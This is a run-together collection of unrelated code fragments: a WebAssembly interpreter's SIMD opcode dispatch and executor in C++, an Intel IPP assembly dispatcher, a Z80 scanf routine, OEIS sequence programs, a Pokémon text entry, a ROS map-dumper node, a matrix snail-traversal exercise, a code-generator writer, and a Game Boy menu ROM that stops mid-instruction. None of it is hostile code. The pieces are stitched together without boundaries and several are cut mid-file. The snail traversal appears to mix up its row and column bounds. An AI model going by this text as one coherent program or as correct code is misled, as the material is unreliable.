CHECK_TRAP(SimdBinop<v128, int32_t>(Gt<float>)); break; case Opcode::F64X2Gt: CHECK_TRAP(SimdBinop<v128, int64_t>(Gt<double>)); break; case Opcode::I8X16GeS: CHECK_TRAP(SimdBinop<v128, int8_t>(Ge<int32_t>)); break; case Opcode::I8X16GeU: CHECK_TRAP(SimdBinop<v128, uint8_t>(Ge<uint32_t>)); break; case Opcode::I16X8GeS: CHECK_TRAP(SimdBinop<v128, int16_t>(Ge<int32_t>)); break; case Opcode::I16X8GeU: CHECK_TRAP(SimdBinop<v128, uint16_t>(Ge<uint32_t>)); break; case Opcode::I32X4GeS: CHECK_TRAP(SimdBinop<v128, int32_t>(Ge<int32_t>)); break; case Opcode::I32X4GeU: CHECK_TRAP(SimdBinop<v128, uint32_t>(Ge<uint32_t>)); break; case Opcode::F32X4Ge: CHECK_TRAP(SimdBinop<v128, int32_t>(Ge<float>)); break; case Opcode::F64X2Ge: CHECK_TRAP(SimdBinop<v128, int64_t>(Ge<double>)); break; case Opcode::F32X4Neg: CHECK_TRAP(SimdUnop<v128, int32_t>(FloatNeg<float>)); break; case Opcode::F64X2Neg: CHECK_TRAP(SimdUnop<v128, int64_t>(FloatNeg<double>)); break; case Opcode::F32X4Abs: CHECK_TRAP(SimdUnop<v128, int32_t>(FloatAbs<float>)); break; case Opcode::F64X2Abs: CHECK_TRAP(SimdUnop<v128, int64_t>(FloatAbs<double>)); break; case Opcode::F32X4Min: CHECK_TRAP(SimdBinop<v128, int32_t>(FloatMin<float>)); break; case Opcode::F64X2Min: CHECK_TRAP(SimdBinop<v128, int64_t>(FloatMin<double>)); break; case Opcode::F32X4Max: CHECK_TRAP(SimdBinop<v128, int32_t>(FloatMax<float>)); break; case Opcode::F64X2Max: CHECK_TRAP(SimdBinop<v128, int64_t>(FloatMax<double>)); break; case Opcode::F32X4Add: CHECK_TRAP(SimdBinop<v128, int32_t>(Add<float>)); break; case Opcode::F64X2Add: CHECK_TRAP(SimdBinop<v128, int64_t>(Add<double>)); break; case Opcode::F32X4Sub: CHECK_TRAP(SimdBinop<v128, int32_t>(Sub<float>)); break; case Opcode::F64X2Sub: CHECK_TRAP(SimdBinop<v128, int64_t>(Sub<double>)); break; case Opcode::F32X4Div: CHECK_TRAP(SimdBinop<v128, int32_t>(FloatDiv<float>)); break; case Opcode::F64X2Div: CHECK_TRAP(SimdBinop<v128, int64_t>(FloatDiv<double>)); break; case Opcode::F32X4Mul: CHECK_TRAP(SimdBinop<v128, int32_t>(Mul<float>)); break; case Opcode::F64X2Mul: CHECK_TRAP(SimdBinop<v128, int64_t>(Mul<double>)); break; case Opcode::F32X4Sqrt: CHECK_TRAP(SimdUnop<v128, int32_t>(FloatSqrt<float>)); break; case Opcode::F64X2Sqrt: CHECK_TRAP(SimdUnop<v128, int64_t>(FloatSqrt<double>)); break; case Opcode::F32X4ConvertI32X4S: CHECK_TRAP(SimdUnop<v128, int32_t>(SimdConvert<float, int32_t>)); break; case Opcode::F32X4ConvertI32X4U: CHECK_TRAP(SimdUnop<v128, uint32_t>(SimdConvert<float, uint32_t>)); break; case Opcode::F64X2ConvertI64X2S: CHECK_TRAP(SimdUnop<v128, int64_t>(SimdConvert<double, int64_t>)); break; case Opcode::F64X2ConvertI64X2U: CHECK_TRAP(SimdUnop<v128, uint64_t>(SimdConvert<double, uint64_t>)); break; case Opcode::I32X4TruncSatF32X4S: CHECK_TRAP(SimdUnop<v128, int32_t>(IntTruncSat<int32_t, float>)); break; case Opcode::I32X4TruncSatF32X4U: CHECK_TRAP(SimdUnop<v128, uint32_t>(IntTruncSat<uint32_t, float>)); break; case Opcode::I64X2TruncSatF64X2S: CHECK_TRAP(SimdUnop<v128, int64_t>(IntTruncSat<int64_t, double>)); break; case Opcode::I64X2TruncSatF64X2U: CHECK_TRAP(SimdUnop<v128, uint64_t>(IntTruncSat<uint64_t, double>)); break; case Opcode::MemoryInit: WABT_UNREACHABLE; break; case Opcode::DataDrop: WABT_UNREACHABLE; break; case Opcode::MemoryCopy: WABT_UNREACHABLE; break; case Opcode::MemoryFill: WABT_UNREACHABLE; break; case Opcode::TableInit: WABT_UNREACHABLE; break; case Opcode::ElemDrop: WABT_UNREACHABLE; break; case Opcode::TableCopy: WABT_UNREACHABLE; break; // The following opcodes are either never generated or should never be // executed. case Opcode::Block: case Opcode::Catch: case Opcode::Else: case Opcode::End: case Opcode::If: case Opcode::IfExcept: case Opcode::InterpData: case Opcode::Invalid: case Opcode::Loop: case Opcode::Rethrow: case Opcode::Throw: case Opcode::Try: WABT_UNREACHABLE; break; } } exit_loop: pc_ = pc - istream; return result; } Executor::Executor(Environment* env, Stream* trace_stream, const Thread::Options& options) : env_(env), trace_stream_(trace_stream), thread_(env, options) {} ExecResult Executor::RunFunction(Index func_index, const TypedValues& args) { ExecResult exec_result; Func* func = env_->GetFunc(func_index); FuncSignature* sig = env_->GetFuncSignature(func->sig_index); thread_.Reset(); exec_result.result = PushArgs(sig, args); if (exec_result.result == Result::Ok) { exec_result.result = func->is_host ? thread_.CallHost(cast<HostFunc>(func)) : RunDefinedFunction(cast<DefinedFunc>(func)->offset); if (exec_result.result == Result::Ok) { CopyResults(sig, &exec_result.values); } } return exec_result; } ExecResult Executor::RunStartFunction(DefinedModule* module) { if (module->start_func_index == kInvalidIndex) { return ExecResult(Result::Ok); } if (trace_stream_) { trace_stream_->Writef(">>> running start function:\n"); } TypedValues args; ExecResult exec_result = RunFunction(module->start_func_index, args); assert(exec_result.values.size() == 0); return exec_result; } ExecResult Executor::RunExport(const Export* export_, const TypedValues& args) { if (trace_stream_) { trace_stream_->Writef(">>> running export \"" PRIstringview "\":\n", WABT_PRINTF_STRING_VIEW_ARG(export_->name)); } assert(export_->kind == ExternalKind::Func); return RunFunction(export_->index, args); } ExecResult Executor::RunExportByName(Module* module, string_view name, const TypedValues& args) { Export* export_ = module->GetExport(name); if (!export_) { return ExecResult(Result::UnknownExport); } if (export_->kind != ExternalKind::Func) { return ExecResult(Result::ExportKindMismatch); } return RunExport(export_, args); } Result Executor::RunDefinedFunction(IstreamOffset function_offset) { Result result = Result::Ok; thread_.set_pc(function_offset); if (trace_stream_) { const int kNumInstructions = 1; while (result == Result::Ok) { thread_.Trace(trace_stream_); result = thread_.Run(kNumInstructions); } } else { const int kNumInstructions = 1000; while (result == Result::Ok) { result = thread_.Run(kNumInstructions); } } if (result != Result::Returned) { return result; } // Use OK instead of RETURNED for consistency. return Result::Ok; } Result Executor::PushArgs(const FuncSignature* sig, const TypedValues& args) { if (sig->param_types.size() != args.size()) { return Result::ArgumentTypeMismatch; } for (size_t i = 0; i < sig->param_types.size(); ++i) { if (sig->param_types[i] != args[i].type) { return Result::ArgumentTypeMismatch; } Result result = thread_.Push(args[i].value); if (result != Result::Ok) { return result; } } return Result::Ok; } void Executor::CopyResults(const FuncSignature* sig, TypedValues* out_results) { size_t expected_results = sig->result_types.size(); assert(expected_results == thread_.NumValues()); out_results->clear(); for (size_t i = 0; i < expected_results; ++i) out_results->emplace_back(sig->result_types[i], thread_.ValueAt(i)); } } // namespace interp } // namespace wabt
extern m7_ippsRSA_GetBufferSizePrivateKey:function extern n8_ippsRSA_GetBufferSizePrivateKey:function extern y8_ippsRSA_GetBufferSizePrivateKey:function extern e9_ippsRSA_GetBufferSizePrivateKey:function extern l9_ippsRSA_GetBufferSizePrivateKey:function extern n0_ippsRSA_GetBufferSizePrivateKey:function extern k0_ippsRSA_GetBufferSizePrivateKey:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsRSA_GetBufferSizePrivateKey .Larraddr_ippsRSA_GetBufferSizePrivateKey: dq m7_ippsRSA_GetBufferSizePrivateKey dq n8_ippsRSA_GetBufferSizePrivateKey dq y8_ippsRSA_GetBufferSizePrivateKey dq e9_ippsRSA_GetBufferSizePrivateKey dq l9_ippsRSA_GetBufferSizePrivateKey dq n0_ippsRSA_GetBufferSizePrivateKey dq k0_ippsRSA_GetBufferSizePrivateKey segment .text global ippsRSA_GetBufferSizePrivateKey:function (ippsRSA_GetBufferSizePrivateKey.LEndippsRSA_GetBufferSizePrivateKey - ippsRSA_GetBufferSizePrivateKey) .Lin_ippsRSA_GetBufferSizePrivateKey: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsRSA_GetBufferSizePrivateKey: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsRSA_GetBufferSizePrivateKey] mov r11, qword [r11+rax*8] jmp r11 .LEndippsRSA_GetBufferSizePrivateKey:
MODULE __scanf_handle_f SECTION code_clib PUBLIC __scanf_handle_f EXTERN __scanf_common_start EXTERN scanf_exit EXTERN __scanf_ungetchar EXTERN __scanf_getchar EXTERN scanf_loop EXTERN atof EXTERN l_cmp EXTERN asm_isdigit EXTERN dstore EXTERN CLIB_32BIT_FLOATS ; Floating point ; We read from the stream into a temporary buf on the stack and then run atof() on it __scanf_handle_f: call __scanf_common_start jp c,scanf_exit call __scanf_ungetchar push de ;save destination ld hl,2 add hl,sp ex de,hl ;de = our buffer for the number ld c,0 ;[000000E.] bit 0,(ix-3) jr z,handle_f_fmt_check_width ld a,'-' ld (de),a inc de handle_f_fmt_check_width: ld a,(ix-4) ;width and a jr z,handle_f_fmt_check_width1 cp 39 ;maximum width jr c,handle_f_fmt_setup_length handle_f_fmt_check_width1: ld a,39 handle_f_fmt_setup_length: ld b,a handle_f_fmt_loop: call __scanf_getchar jr c,handle_f_fmt_finished_reading cp '.' jr nz,handle_f_fmt_check_exponent ; It was ., have we already seen one bit 0,c jr nz,handle_f_fmt_error set 0,c jr handle_f_fmt_store handle_f_fmt_check_exponent: cp 'e' jr z,handle_f_fmt_check_exponent1 cp 'E' jr nz,handle_f_fmt_check_digit handle_f_fmt_check_exponent1: bit 1,c ;have we seen one already? jr nz,handle_f_fmt_error set 1,c jr handle_f_fmt_store handle_f_fmt_check_digit: call asm_isdigit jr nc,handle_f_fmt_store call __scanf_ungetchar jr handle_f_fmt_finished_reading handle_f_fmt_store: ld (de),a inc de djnz handle_f_fmt_loop handle_f_fmt_finished_reading: xor a ld (de),a ld hl,2 add hl,sp call l_cmp jr z,handle_f_fmt_error ; TODO: Check there's something there ld hl,2 ;we have the destination on the stack add hl,sp push ix ;save our framepointer - fp library will disturb it push hl call atof pop bc pop ix ;get our framepointer back ld a,CLIB_32BIT_FLOATS and a jr z,store_48bit_float push hl ;LSW pop bc ;LSW pop hl ;destination ld (hl),c ;Store LSW inc hl ld (hl),b inc hl ld (hl),e ;Store MSW inc hl ld (hl),d jr store_rejoin store_48bit_float: pop hl ;destination call dstore ;and put it there store_rejoin: inc (ix-1) ;increase number of conversions jp scanf_loop handle_f_fmt_error: call __scanf_ungetchar pop de ;discard destinatino jp scanf_exit
; A168664: a(n) = n^7*(n^7 + 1)/2. ; 0,1,8256,2392578,134225920,3051796875,39182222016,339111948196,2199024304128,11438398618965,50000005000000,189874926535206,641959250190336,1968688224223903,5556003465485760,14596463098125000,36028797153181696,84188913484869801,187406684097150528,399503343338377930,819200000640000000,1621959967161298611,3110910637961089216,5796418163971787628,10517860063877529600,18626451495361328125,32254987355664480576,54709494570986356206,91029559921717731328,148779116346524669895,239148450010935000000,378471967624154467216,590295810375885520896,908165840913209532753,1379351155200874085440,2069772561216862031250,3070471107271589830656,4506030648044970088411,6545462769990594510528,9416174597134486807860,13421772800081920000000,18964613597555156538021,26574192087331468781376,36942678672205161188278,50969159872080344801280,69814430099555120859375,94968515170839347263936,128333493094087016227416,172324619249290605232128,229993268272709092024825,305175781250390625000000,402672962360944356328026,528465712769924296646656,689973131029159239763203,896360358966018709245120,1158904521433991808437500,1491428309647752787132416,1910812104447115189414221,2437597042081253196920128,3096693106447151019473790,3918208204801399680000000,4938416266682230418974231,6200884717330524263372736,7757784237868203417546528,9671406556919232420904960,12015919145813269595390625,14879389137175622280108096,18366112581451478216769826,22599289326384211225878528,27724088381175112994227755,33911153642454117715000000,41360605347789712023933636,50306598620900783859695616,61022507019878818036107253,73826806136797183631188800,89089740067727087402343750,107240862022595930605182976,128777549523369067985895231,154274604598336018237691328,184395060174348797581279720,219902325555210485760000000,261673816513691707002983241,310716229180760721980831296,368182631655831811056294378,435391563156964960813424640,513848347654437809249921875,605268847363200019237669056,711605901291586804762871436,835078715341569279187222528,978205493320242822339542685,1143839622748073914845000000,1335209755636056440678220046,1555964152555489539654475776,1810219688449568562748236903,2102615950849403841146860480,2438374895577684211908750000,2823366561775605584637198336,3264181387303078471530259441,3768209707374553166598616128,4343729063844938143135849650 pow $0,7 add $0,1 bin $0,2
; Z88 Small C+ Run time Library ; Moved functions over to proper libdefs ; To make startup code smaller and neater! ; ; 6/9/98 djm SECTION code_l_sccz80 PUBLIC l_gint EXTERN l_gintsp_gint defc l_gint = l_gintsp_gint
db "COBRA@" ; species name db "To intimidate" next "foes, it spreads" next "its chest wide and" page "makes eerie sounds" next "by expelling air" next "from its mouth.@"
copyright zengfr site:http://github.com/zengfr/romhack 0016B2 rts [123p+ AA] 0016E8 cmpa.w ($1a6,A5), A1 [123p+ AA] 00812C btst #$6, ($73,A1) [123p+ AA] 00C3A6 move.w ($20,A6), D1 017DAC btst #$1, (-$3e,A5) [123p+ AA] 017DB8 btst #$2, (-$3e,A5) [123p+ AA] 017DC4 cmp.w D1, D0 [123p+ AA] 01A74C dbra D7, $1a74a 01A75E dbra D4, $1a75c copyright zengfr site:http://github.com/zengfr/romhack
#include "fps_ros_msgs.h" #include "fps_mapper/StampedCloudMsg.h" #include "cloud_publisher_trigger.h" #include <ros/ros.h> #include "txt_io/message_writer.h" #include "local_map_listener.h" #include "boss/serializer.h" #include "globals/system_utils.h" using namespace boss; using namespace fps_mapper; using namespace std; class LocalMapDumper: public LocalMapListener { public: LocalMapDumper(boss::Serializer* ser) : LocalMapListener(ser){ _ser= ser; } virtual void onNewLocalMap(LocalMap* lmap) { cerr << "got local map " << lmap->getId() <<endl; for ( MapNodeList::iterator it=lmap->nodes().begin(); it!=lmap->nodes().end(); it++){ _ser->writeObject(*it->get()); } for (BinaryNodeRelationSet::iterator it=lmap->relations().begin(); it!=lmap->relations().end(); it++){ _ser->writeObject(*it->get()); } _ser->writeObject(*lmap); } virtual void onNewNode(MapNode * n) { cerr << "got new node " << n->getId() <<endl; _ser->writeObject(*n); } virtual void onNewRelation(BinaryNodeRelation * r) { cerr << "got new relation " << r->getId() <<endl; _ser->writeObject(*r); } virtual void onNewCameraInfo(BaseCameraInfo * cam) { cerr << "got new camera info " << cam->getId() << endl; _ser->writeObject(*cam); } boss::Serializer* _ser; }; const char* banner[]= { "fps_local_mapper_dumper_node: dumps incrementally the local maps made by local mapper", "usage:", " fps_local_mapper_dumper_node <filename>", 0 }; int main(int argc, char** argv) { if (argc<2 || ! strcmp(argv[1],"-h")){ system_utils::printBanner(banner); return 0; } std::string output_filename = argv[1]; ros::init(argc, argv, "fps_local_mapper_dumper_node"); boss::Serializer * ser = new boss::Serializer; ser->setFilePath(output_filename); ser->setBinaryPath(output_filename + ".d/<classname>.<nameAttribute>.<id>.<ext>"); LocalMapDumper* dumper = new LocalMapDumper(ser); ros::NodeHandle n; dumper->init(n); ros::spin(); }
#include <bits/stdc++.h> using namespace std; /* array = [[1,2,3], [4,5,6], [7,8,9]] snail(array) #=> [1,2,3,6,9,8,7,4,5] Given an array of n * x, return the array elements arranged from outermost elements to the middle element, traveling clockwise. Do not sort the elements from lowest to highest, instead traverse the 2-D array in a clockwise, snailshell pattern. These examples will clarify the challenge: array = [[1,2,3], [8,9,4], [7,6,5]] snail(array) #=> [1,2,3,4,5,6,7,8,9] An empty matrix would be represented as [[]]. Below are some matrices to test your code on. Good luck, have fun! (snail([[]])); (snail([[1]])); (snail([[1, 2, 3], [4, 5, 6], [7, 8, 9])); (snail([[1, 2, 3, 4, 5], [6, 7, 8, 9, 10], [11, 12, 13, 14, 15], [16, 17, 18, 19, 20], [21, 22, 23, 24, 25]])); (snail([[1, 2, 3, 4, 5, 6], [20, 21, 22, 23, 24, 7], [19, 32, 33, 34, 25, 8], [18, 31, 36, 35, 26, 9], [17, 30, 29, 28, 27, 10], [16, 15, 14, 13, 12, 11]])); */ vector<int> snailSort(vector<vector<int>> arr){ int n = arr.size(); int x = arr[0].size(); vector<int> sorted; int k = 0, l = 0; while(k < x && l < n){ for(int i=l;i<n;i++) sorted.push_back(arr[k][i]); k++; for(int i=k;i<x;i++) sorted.push_back(arr[i][n-1]); n--; if(k < x){ for(int i=n-1;i>=l;i--) sorted.push_back(arr[x-1][i]); x--; } if(l < n){ for(int i=x-1;i>=k;i--) sorted.push_back(arr[i][l]); l++; } } return sorted; } // main function int main(){ vector<vector<int>> arr = {{1,2,3}, {8,9,4}, {7,6,5}}; vector<int> ans = snailSort(arr); for(int i : ans) cout << i << "\n"; return 0; }
; A140664: a(n) = A014963(n)*mobius(n). ; Submitted by Christian Krause ; 1,-2,-3,0,-5,1,-7,0,0,1,-11,0,-13,1,1,0,-17,0,-19,0,1,1,-23,0,0,1,0,0,-29,-1,-31,0,1,1,1,0,-37,1,1,0,-41,-1,-43,0,0,1,-47,0,0,0,1,0,-53,0,1,0,1,1,-59,0,-61,1,0,0,1,-1,-67,0,1,-1,-71,0,-73,1,0,0,1,-1,-79,0,0,1,-83,0,1,1,1,0,-89,0,1,0,1,1,1,0,-97,0,0,0 mov $2,$0 seq $0,8683 ; Möbius (or Moebius) function mu(n). mu(1) = 1; mu(n) = (-1)^k if n is the product of k different primes; otherwise mu(n) = 0. seq $2,14973 ; a(n) = n/gcd(n,(n-1)!). mul $0,$2
; A104777: Integer squares congruent to 1 mod 6. ; 1,25,49,121,169,289,361,529,625,841,961,1225,1369,1681,1849,2209,2401,2809,3025,3481,3721,4225,4489,5041,5329,5929,6241,6889,7225,7921,8281,9025,9409,10201,10609,11449,11881,12769,13225,14161,14641,15625,16129,17161,17689,18769,19321,20449,21025,22201,22801,24025,24649,25921,26569,27889,28561,29929,30625,32041,32761,34225,34969,36481,37249,38809,39601,41209,42025,43681,44521,46225,47089,48841,49729,51529,52441,54289,55225,57121,58081,60025,61009,63001,64009,66049,67081,69169,70225,72361,73441 mul $0,3 add $0,3 div $0,2 mov $1,$0 sub $0,1 add $0,$1 pow $0,2
; A275827: a(n) = Sum_{k=0..n} binomial(n+k+2,k)*binomial(2*n+1,n-k). ; Submitted by Christian Krause ; 1,7,50,364,2688,20064,151008,1144000,8712704,66646528,511673344,3940579328,30429184000,235521884160,1826663915520,14192851599360,110453212446720,860819570688000,6717522904350720,52482715893104640,410475846508216320,3213535091821117440,25180685420986368000,197474129552923951104,1549828574194075435008,12172045468670428708864,95659511043113351118848,752242580532472525619200,5918821621883736766283776,46595532680196162314043392,367003824709127465259237376,2892018533587979291037007872 mov $2,$0 seq $2,24482 ; a(n) = (1/2)*(binomial(2n, n) - binomial(2n-2, n-1)). lpb $0 sub $0,1 mul $2,2 lpe mov $0,$2 div $0,2
#include "builderfilewriter.h" #include "buildercontext.h" #include "model/cppsourcefile.h" #include "codewriter/codewriter.h" #include "codewriter/codeblock.h" #include "project.h" #include "util.h" #include "constants.h" #include "Poco/Format.h" #include "Poco/Path.h" #include "Poco/File.h" using namespace std; using namespace cpgf; namespace metagen { BuilderFileWriter::BuilderFileWriter(const CppSourceFile & sourceFile, const BuilderContext * builderContext, int fileIndex) : sourceFile(sourceFile), builderContext(builderContext), fileIndex(fileIndex) { } BuilderFileWriter * BuilderFileWriter::createHeaderFile(const CppSourceFile & sourceFile, const BuilderContext * builderContext) { return new BuilderFileWriter(sourceFile, builderContext, -1); } BuilderFileWriter * BuilderFileWriter::createSourceFile(const CppSourceFile & sourceFile, const BuilderContext * builderContext, int fileIndex) { return new BuilderFileWriter(sourceFile, builderContext, fileIndex); } void BuilderFileWriter::setCreationFunctionNameCode(const std::string & code) { this->creationFunctionNameCode = code; } void BuilderFileWriter::addSection(BuilderSection * builderSection) { this->sectionList.push_back(builderSection); } bool BuilderFileWriter::isSourceFile() const { return this->fileIndex >= 0; } const Project * BuilderFileWriter::getProject() const { return this->builderContext->getProject(); } void BuilderFileWriter::callbackCppWriter(CodeWriter * codeWriter, CppWriterStage stage) const { switch(stage) { case cwsBeginning: if(! this->isSourceFile() && ! this->creationFunctionNameCode.empty()) { codeWriter->ensureBlankLine(); codeWriter->writeLine(GeneratedCreationFunctionBeginMark); codeWriter->writeLine(this->creationFunctionNameCode); codeWriter->writeLine(GeneratedCreationFunctionEndMark); } break; case cwsMainCodeBlock: for(BuilderSectionListType::const_iterator it = this->sectionList.begin(); it != this->sectionList.end(); ++it) { (*it)->getCodeBlock()->write(codeWriter); } break; default: break; } } void BuilderFileWriter::initializeCppWriter(CppWriter * cppWriter) const { cppWriter->setNamespace(this->getProject()->getCppNamespace()); if(this->isSourceFile()) { string header = Poco::Path(this->getProject()->getOutputHeaderFileName(this->sourceFile.getFileName())).getFileName(); cppWriter->include(normalizeFile(this->getProject()->getHeaderIncludePrefix() + header)); cppWriter->useNamespace("cpgf"); } else { cppWriter->setHeaderGuard(this->getProject()->getOutputHeaderFileName(this->sourceFile.getFileName())); for(vector<string>::const_iterator it = this->sourceFile.getIncludeList().begin(); it != this->sourceFile.getIncludeList().end(); ++it) { cppWriter->include(*it); } for(vector<string>::const_iterator it = this->sourceFile.getMetaIncludeList().begin(); it != this->sourceFile.getMetaIncludeList().end(); ++it) { cppWriter->include(*it); } string header = this->getProject()->replaceHeaderByScript(this->sourceFile.getFileName()); cppWriter->include(normalizeFile(header)); for(int i = 0; metaHeaderIncludeList[i] != NULL; ++i) { cppWriter->include(metaHeaderIncludeList[i]); } cppWriter->tailInclude(includeMetaDataFooter); } } void BuilderFileWriter::output() { sortSectionList(&this->sectionList); string outputFileName = this->isSourceFile() ? this->getProject()->getOutputSourceFileName(this->sourceFile.getFileName(), this->fileIndex) : this->getProject()->getOutputHeaderFileName(this->sourceFile.getFileName()); Poco::File(Poco::Path(outputFileName).parent()).createDirectories(); CppWriter cppWriter; CodeWriter codeWriter; this->initializeCppWriter(&cppWriter); cppWriter.write(&codeWriter, makeCallback(this, &BuilderFileWriter::callbackCppWriter)); if(! this->builderContext->shouldOverwriteEvenIfNoChange()) { string fileContent; if(readStringFromFile(outputFileName, &fileContent)) { if(codeWriter.getText() == fileContent) { return; } } } writeStringToFile(outputFileName, codeWriter.getText()); } } // namespace metagen
; A028992: Even 9-gonal (or enneagonal) numbers. ; 0,24,46,154,204,396,474,750,856,1216,1350,1794,1956,2484,2674,3286,3504,4200,4446,5226,5500,6364,6666,7614,7944,8976,9334,10450,10836,12036,12450,13734,14176,15544,16014,17466,17964,19500,20026,21646,22200,23904,24486,26274,26884,28756,29394,31350,32016,34056,34750,36874,37596,39804,40554,42846,43624,46000,46806,49266,50100,52644,53506,56134,57024,59736,60654,63450,64396,67276,68250,71214,72216,75264,76294,79426,80484,83700,84786,88086,89200,92584,93726,97194,98364,101916,103114,106750,107976,111696,112950,116754,118036,121924,123234,127206,128544,132600,133966,138106 mov $2,$0 mul $0,2 mod $2,2 add $0,$2 seq $0,139268 ; Twice nonagonal numbers (or twice 9-gonal numbers): a(n) = n(7n-5). div $0,2
SECTION "graphics", ROMX[$4000], BANK[1] ;db $00, $18, $24, $24, $24, $24, $18, $00 ;db $00, $18, $38, $18, $18, $18, $3C, $00 ;db $00, $38, $44, $04, $08, $10, $3C, $00 ;db $00, $18, $24, $04, $38, $04, $38, $00 ;db $00, $24, $24, $24, $3C, $04, $04, $00 ;db $00, $3C, $20, $20, $3C, $04, $3C, $00 ;db $00, $1C, $20, $20, $38, $24, $18, $00 ;db $00, $3C, $02, $04, $08, $10, $20, $00 ;db $00, $3C, $42, $42, $3C, $42, $3C, $00 ;db $00, $18, $24, $24, $18, $04, $18, $00 ;db $00, $18, $24, $24, $3C, $24, $24, $00 ;db $00, $20, $20, $20, $38, $24, $38, $00 ;db $00, $3C, $40, $40, $40, $40, $3C, $00 ;db $00, $78, $44, $44, $44, $44, $78, $00 ;db $00, $3C, $20, $20, $3C, $20, $3C, $00 ;db $00, $3C, $20, $20, $3C, $20, $20, $00 SECTION "start",ROM0[$100] start: nop jp main SECTION "title",ROM0[$134] db "SMILEY" SECTION "test_string",ROM0[$3000] db "TestString830", 0 db "mygb", 0 db "jenny8675", 0 db "str4", 0 db "alphabet", 0 db "zeta7", 0 SECTION "mbc", ROMX,BANK[2] db $A5, $98 SECTION "mbc2", ROMX,BANK[3] db $29, $F7 SECTION "main",ROM0[$150] main: ld hl, $FFFE ld sp, hl ; Load background with blank tiles ; Blank tile ld a, $FE ;ld a, $1 ld hl, $9800 ; Load 256 sets of 4 bytes ld b, $80 blank_background_wait1: ; Wait for V-Blank ld hl, $FF44 ld a, $90 cp [hl] jr nz, blank_background_wait1 ld a, $FE ld hl, $9800 ; Load 128 sets of 4 bytes ld b, $60 blank_background_loop1: ld [hl+], a ld [hl+], a ld [hl+], a ld [hl+], a dec b jr nz, blank_background_loop1 push hl blank_background_wait2: ; Wait for V-Blank ld hl, $FF44 ld a, $90 cp [hl] jr nz, blank_background_wait2 pop hl ; Load 128 sets of 4 bytes ld b, $60 ld a, $FE blank_background_loop2: ld [hl+], a ld [hl+], a ld [hl+], a ld [hl+], a dec b jr nz, blank_background_loop2 push hl blank_background_wait3: ; Wait for V-Blank ld hl, $FF44 ld a, $90 cp [hl] jr nz, blank_background_wait3 pop hl ; Load 128 sets of 4 bytes ld b, $40 ld a, $FE blank_background_loop3: ld [hl+], a ld [hl+], a ld [hl+], a ld [hl+], a dec b jr nz, blank_background_loop3 ; Load tiles from 0x4000 to 0x9000 ld hl, $8000 ld bc, $4000 ld a, $20 load_tiles_loop1: push af push hl load_tiles_wait: ; Wait for V-Blank ld hl, $FF44 ld a, $90 cp [HL] jr nz, load_tiles_wait pop hl ld d, 64 load_tiles_loop2: ; Load 64 bytes into VRAM ld a, [bc] ; Invert the bits. Really should just invert the file ; so that I can remove this line xor $FF ld [hl+], a inc bc dec d jr nz, load_tiles_loop2 ; Check if we've run the loop 32 times pop af dec a jr nz, load_tiles_loop1 ; All tiles are copied into VRAM ; Setup palette ld hl, $FF47 ld [hl], $E4 ;ld hl, $3000 ld hl, $A000 ld bc, $9801 ld d, $0 write_all_strings: ld a, [hl] and a jr z, write_all_strings_done push bc push de call write_string pop de pop bc ld a, $20 add c ld c, a inc d jr nc, write_all_strings inc b jr write_all_strings write_all_strings_done: ; d contains the number of strings written ; Store this in FF80 ld a, d ldh [$80], a ; Write arrow sprite ; Wait for V-Blank sprite_init_vblank_wait: ld de, $FF44 ld a, [de] cp a, 144 jr nz, sprite_init_vblank_wait ld hl, $FE00 ld a, $0 ld b, $28 sprite_init_loop: ld [hl], a inc l inc l inc l inc l dec b jr nz, sprite_init_loop ld hl, $FE00 ; Start at top left tile ld a, $10 ld [hl+], a ld a, $8 ld [hl+], a ; Use arrow tile ld a, $37 ld [hl+], a ld a, $0 ld [hl+], a ld hl, $FF48 ld a, $E4 ld [hl+], a LCD_init: ; Wait for V-Blank ld hl, $FF44 ld a, [hl] cp a, 144 jp nz, LCD_init ; Enable LCD ld hl, $FF40 ld [hl], (1 | (1 << 1) | (1 << 4) | (1 << 7)) ; FF81 holds the selected game ld a, 0 ldh [$81], a vblank_poll: ld hl, $FF44 ld a, [hl] cp a, $8F jp nz, vblank_poll vblank_poll2: ; Wait for V-Blank ld hl, $FF44 ld a, [hl] cp a, $90 jp nz, vblank_poll2 call vblank_isr jp vblank_poll write_string: ld de, $FF44 ld a, [de] cp a, 144 jp nz, write_string write_string_loop ; hl: string address ; bc: vram address ; Get character ld a, [hl+] ; Check for null and exit and a ret z cp $2f jr c, write_string_loop ; Invalid char cp $3A jr c, write_string_num ; Is number cp $40 jr c, write_string_loop ; Invalid char cp $5B jr c, write_string_alpha_upper ; Is uppercase cp $60 jr c, write_string_loop ; Invalid char cp $7B jr c, write_string_alpha_lower jr write_string_loop write_string_num: ; Add 0x40 to a to get correct tile offset add $40 jr write_string_cont write_string_alpha_upper: ; Subtract 0x41 to get correct tile offset sub $41 jr write_string_cont write_string_alpha_lower: ; Subtract 0x61 to get correct tile offset sub $61 jr write_string_cont write_string_cont: ; Write the tile location to VRAM ld [bc], a ; Increment VRAM address for next char inc bc jr write_string_loop write_byte: ld c, a write_byte_sync_video ld hl, $FF44 ld a, [hl] cp a, 144 jp nz, write_byte_sync_video ld h, $98 ld l, b ld a, c and a, $F0 srl a srl a srl a srl a inc a ld [hl+], a ld a, c and a, $F inc a ld [hl+], a ret vblank_isr: ; If FF82 is not 0, then we need before reading another button ldh a, [$82] and a jr nz, dec_button_counter call read_buttons ld b, a ld b, a and $40 jr z, up_pressed ld a, b and $80 jr z, down_pressed ld a, b and $4 jr z, finish_selection ret dpad_done: ; Fix the Y location of the arrow ldh a, [$81] sla a sla a sla a add $10 ld hl, $FE00 ld [hl], a ld a, $6 ldh [$82], a ret dec_button_counter: ldh a, [$82] dec a ldh [$82], a ret up_pressed: ; Get the currently selected game ldh a, [$81] ; If we are already at game 0, quit cp $0 jr z, dpad_done ; Otherwise, decrement and write value dec a ldh [$81], a jr dpad_done down_pressed: ; Get the currently selected game ldh a, [$81] ld b, a ldh a, [$80] dec a ; Compare our position to the number of games ; Quit if we are at the last game cp a, b jr z, dpad_done ld a, b inc a ldh [$81], a jr dpad_done finish_selection: ; Copy the load_poll procedure to RAM ld hl, load_poll ld bc, $C000 ld de, load_poll_done finish_selection_loop: ld a, [hl+] ld [bc], a inc bc ld a, l cp e jr nz, finish_selection_loop ld a, 